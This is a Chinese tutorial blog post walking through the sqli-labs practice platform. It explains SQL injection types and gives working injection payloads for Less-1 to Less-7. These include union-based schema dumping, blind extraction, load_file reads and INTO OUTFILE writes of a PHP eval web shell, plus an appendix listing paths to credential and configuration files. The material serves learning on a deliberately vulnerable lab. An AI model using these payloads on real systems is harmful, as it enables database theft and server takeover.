SQL注入分级通关(sqli-labs)

零、还在学习,随缘更新

一、基础知识

1. 注入的分类

1)基于从服务器接收到的响应

① 基于错误的 SQL 注入
② 联合查询的类型
③ 堆查询注射
④ SQL 盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

a. 基于布尔 SQL 盲注

构造逻辑判断
思路就是截取查询结果字符串,通过逐个对比,验证返回结果是什么

  • mid()函数
    此函数为截取字符串一部分
    mid(column_name,start [,length])length如果省略,则返回剩余文本
    mid(DATABASE(),1,1)>’a’,查看数据库名第一位,mid(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
    mid((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=*xxxxxxx* LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入
  • substr()函数
    string substr(string, start, length)
  • left()函数
    left()得到字符串左部指定个数的字符
    left(string, n)string为要截取的字符串,n为长度
    left(database(),1)>’a’
  • ord()函数
    返回第一个字符的ASCII码
    ord(mid(DATABASE(),1,1))>114意为检测database()的第一位ASCII码是否大于114,也即是‘r’
  • 正则表达式
    正则注入介绍
    用法介绍:select user() regexp '^[a-z]'
  • like 匹配注入
    select user() like 'ro%'
b. 基于时间的 SQL 盲注
c. 基于报错的 SQL 盲注

构造 payload 让信息通过错误提示回显出来

2)基于如何处理输入的 SQL 查询(数据类型)

① 基于字符串
② 数字或整数为基础的

3)基于程度和顺序的注入(哪里发生了影响)

① 一阶注射

一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果

② 二阶注射

二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害

4)基于注入点的位置上的

① 通过用户输入的表单域的注射
② 通过 cookie 注射
③ 通过服务器变量注射(基于头部信息的注射)

5)导入导出相关操作

① load_file()导出文件

load_file(file_name):读取文件并以一个字符串的形式返回该文件的内容
使用条件:

a. 必须有权限读取且文件可读

and (select count(*) from mysql.user)>0/*
如果结果返回正常,说明具有读写权限
如果返回错误,说明数据看账户权限不够

b. 读取的文件必须在服务器上
c.必须指定文件的完整路径
d.读取文件大小小于max_allowed_packet

在实战中,有两个难点需要解决:绝对物理路径构造有效的畸形语句
在很多php程序中,当提交一个错误的查询语句且display_errors=on时,程序就会返回WEB目录的绝对路径
常用路径见附录一
示例:
hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
load_file(0x633a2f626f6f742e696e69)
load_file(c:\\boot.ini)

② 文件导入到数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串
在这里插入图片描述在注入过程中,往往需要一些特殊的文件,比如配置文件,密码文件等
当具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中

③ 导入到文件

SELECT.....INTO OUTFILE 'file_name'可以把被选择的行写入一个文件中
该文件被创建到服务器主机上,因此必须拥有 FILE 权限,才能使用此语法
file_name 不能是一个已经存在的文件
一般有两种利用形式

a. 直接将 select 内容导入到文件中

Select <?php @eval($_post[“mima”])?> into outfile "c:\\phpnow\\htdocs\\test.php"
select 内容中不仅仅是可以上传一句话,也可以上传很多的内容

b. 修改文件结尾

select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
通常是用‘\r\n’结尾,此处修改为自己想要的任何文件
同时可以用 FIELDS TERMINATED BY
16 进制可以为一句话或者其他任何的代码,可自行构造

2. 常见函数

1)系统函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

2)字符串函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

3. 一般尝试语句

or 1=1--+
' or 1=1--+
" or 1=1--+
) or 1=1--+ 
') or 1=1--+
") or 1=1--+ 
")) or 1=1--+
为啥用 --+
--, 和 # 在SQL中表示注释
SQL中--后一定要有空格才可以注释, 不加空格会报错
URL中#不会被请求
URL中+会被转换成空格

二、环境配置

实验平台Sqli-labs下载
Apache 2.4.39
MySQL 5.7.26
PHP 5.6.9(使用7x版本会有问题)
使用phpstudy在Windows平台部署
修改数据库配置
在这里插入图片描述
访问127.0.0.1\sqli并配置数据库后即可使用
在这里插入图片描述

由于Windows不区分文件大小写,因此Less-24和Less-40的Logged-in.php和logged-in.php会被识别为同名文件
需要手动开启Windows文件大小写区分
开启(只对单个文件夹有效)
fsutil.exe file SetCaseSensitiveInfo D:\Target\phpstudy_pro\WWW\sqli-labs-master\Less-24 enable
关闭(只对单个文件夹有效)
fsutil.exe file SetCaseSensitiveInfo D:\Target\phpstudy_pro\WWW\sqli-labs-master\Less-24 disable

三、分级通关

Less-1

1)注入过程

提示:GET - Error based - Single quotes - String
尝试使用?id=1' or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看出id数据类型是String
构造的SQL语句为:

SELECT * FROM users WHERE id='1' or 1=1--+' LIMIT 0,1

感觉没密码验证怪怪的,其实括号里随便填就个数字就行啊

3)学习提高

尝试使用?id=1' order by 4--+,得知只有三列,为之后union查询做铺垫
在这里插入图片描述
根据MySQL的特性
尝试使用?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+,得知有哪些database
在这里插入图片描述
尝试使用?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得知有哪些table
在这里插入图片描述尝试使用?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+,得知有哪些column
在这里插入图片描述
这个方法在Less-1到Less-4都能用

Less-2

1)注入过程

提示:GET - Error based - Intiger based
尝试Lees-1注入方法?id=1' or 1=1--+
在这里插入图片描述
多了一个单引号
尝试?id=1 or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1不同,Less-2的id的数据类型是整数
构造的SQL语句为

SELECT * FROM users WHERE id=1 or 1=1--+' LIMIT 0,1

Less-3

1)注入过程

提示:GET - Error based - Single quotes with twist - string
有Less-1和Less-2的经验
尝试?id=1') or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=('1') or 1=1--+'')LIMIT 0,1

Less-4

1)注入过程

提示:GET - Error based - Double Quotes - String
尝试?id=1") or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1

Less-5

1)注入过程

提示:GET - Double Injection - Single Quotes - String
尝试?id=1‘ or 1=1--+
在这里插入图片描述
没有返回有效信息,需要盲注
尝试?id=1'and left(version(),1)=5--+
注意:
单引号在url里解析为%27
如果未解析成%27可能会出错
此时可以手动输入%27

在这里插入图片描述
尝试?id=1'and left(version(),1)=4--+
在这里插入图片描述
可以得知mysql的版本是5
事实也确实如此
在这里插入图片描述
尝试?id=1'and length(database())=8--+
在这里插入图片描述
得知数据库名称长度为8,接下来可以尝试得到数据名称
尝试?id=1'and left(database(),1)>'s'--+?id=1'and left(database(),1)>'r'--+
在这里插入图片描述
在这里插入图片描述
得知数据库首字母为s
依次猜测后边七个字母,得到数据库名称为security

除了left,还可以用substr函数
尝试?id=1'and substr(database(),1,1)>'s'--+?id=1'and substr(database(),1,1)>'r'--+
亦能得到相同结论

回顾Less-1学习提高部分,我们通过搜索information_schema得到了整个数据库的信息,这里也可以通过这种方法得到其他数据库信息
尝试?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
在这里插入图片描述
也可以使用正则表达式
尝试?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
在这里插入图片描述
得知有username列

利用 ord()和 mid()函数获取 users 表的内容
尝试?id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
在这里插入图片描述

IFNULL(expr1,expr2)用法
假如expr1不为NULL,则 IFNULL() 的返回值为expr1; 否则其返回值为 expr2
Cast(字段名 as 转换的类型)

2)源码分析

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1

Less-6

1)注入过程

和Less-5相同,把单引号换成双引号即可

2)源码分析

$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

把单引号换成双引号

Less-7

1)注入过程

尝试?id=1'))--+
在这里插入图片描述
提示用outfile
尝试?id=1')) union select 1,2,3 into outfile "D:\\Target\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\out.txt"--+
发现并没有out.txt文件生成

mysql secure_file_priv对读写文件有影响
默认值为null,不允许导入导出
Windows需要修改my.ini 在[mysqld]中加入secure_file_priv=
Linux需要修改my.cnf 在[mysqld]中加入secure_file_priv=
此时secure_file_priv没有具体的值,表示不做限制

修改后即可生成out.txt
在这里插入图片描述
在这里插入图片描述

附录一

Windows常见路径

路径说明
c:/boot.ini查看系统版本
c:/windows/php.iniphp配置信息
c:/windows/my.iniMYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml查看IIS的虚拟主机配置
c:\windows\repair\sam存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
c:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
c:\Program Files\mysql\my.ini
c:\mysql\data\mysql\user.MYD存在MYSQL系统中的用户密码

LUNIX/UNIX常见路径

路径说明
usr/local/app/apache2/conf/httpd.confapache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf虚拟网站设置
/usr/local/app/php5/lib/php.iniPHP相关设置
/etc/sysconfig/iptables从中得到防火墙规则策略
/etc/httpd/conf/httpd.confapache配置文件
/etc/rsyncd.conf同步程序配置文件
/etc/my.cnfmysql的配置文件
/etc/redhat-release系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.iniPHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看
/etc/sysonfig/iptables查看防火墙策略
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值